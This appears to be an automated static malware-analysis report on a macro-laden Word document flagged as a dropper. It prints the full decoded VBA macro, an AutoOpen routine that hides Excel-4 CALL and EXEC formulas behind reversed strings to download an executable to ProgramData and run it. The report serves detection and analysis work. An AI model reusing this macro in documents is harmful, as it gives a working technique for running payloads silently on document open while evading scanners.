Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c98e199550093c48…

MALICIOUS

Office (OOXML)

16.1 KB Created: 2021-02-17 01:04:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: 9b677c29476303967a43bd6f97baa609 SHA-1: 6d8c2cad20bda0b5b480632d667f4c097e95d73a SHA-256: c98e199550093c484a46ae0cff0fef83facc0dadbfd78f50312648377399739e
310 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    sIJBw.Application.Cells(108, 1).Value = "= CALL(""urlmon"", ""URLDownloadToFileA"", ""JJCCJJ"", 0, ""https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"",""C:\ProgramData\poc.exe"",0,0)"
  • VBA injects an Excel-4 macro CALL to a download/exec API critical OLE_VBA_XLM_CALL_INJECTION
    VBA writes Excel-4 (XLM) =CALL() formulas targeting urlmon URLDownloadToFile / Shell32 ShellExecute and runs them. This VBA-to-XLM bridge downloads and executes a payload while keeping the API names out of normal VBA keyword scanning.
    Matched line in script
    Set sIJBw = CreateObject("Excel.Application")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set sIJBw = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.exeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1346 bytes
SHA-256: 8be211853f15cb59d8d9a50d0e30b560ad9f27abd6b8b1f7e032fe88fe92dba8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim sIJBw As Object
Dim uIAuA As String
Dim FJurA, GuHEC, wvCtA, EusDF As String

Set sIJBw = CreateObject("Excel.Application")
Set rwIIJ = sIJBw.workbooks.Add()
Set wDCtF = sIJBw.Worksheets

sIJBw.DisplayAlerts = False
sIJBw.Application.Visible = 0

wDCtF.Add Before:=wDCtF(1), Count:=1, Type:=4
On Error Resume Next
sIJBw.Range("A1").Name = "ok"
sIJBw.Application.Cells(108, 1).Value = "= CALL(""urlmon"", ""URLDownloadToFileA"", ""JJCCJJ"", 0, ""https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"",""C:\ProgramData\poc.exe"",0,0)"
sIJBw.Range("" + StrReverse("901A") + "") = "=" + StrReverse("TIAW") + "(" + StrReverse("WON") + "() + ""00:00:6"")"
FJurA = "C:\"
GuHEC = "\ataDmargorP"
wvCtA = "exe.cop"
EusDF = FJurA & StrReverse(GuHEC) & StrReverse(wvCtA)


sIJBw.Range("" + StrReverse("111A") + "") = "=" + StrReverse("CEXE") + "(""" + EusDF + """)"
sIJBw.Sheets(1).Visible = 2
uIAuA = "ok"
sIJBw.Run (uIAuA)
sIJBw.Application.Quit
Set sIJBw = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 30109f3dba89744b3b41c63d0bcde11770abfbed8fc9bbd6aff55337d59a30ea
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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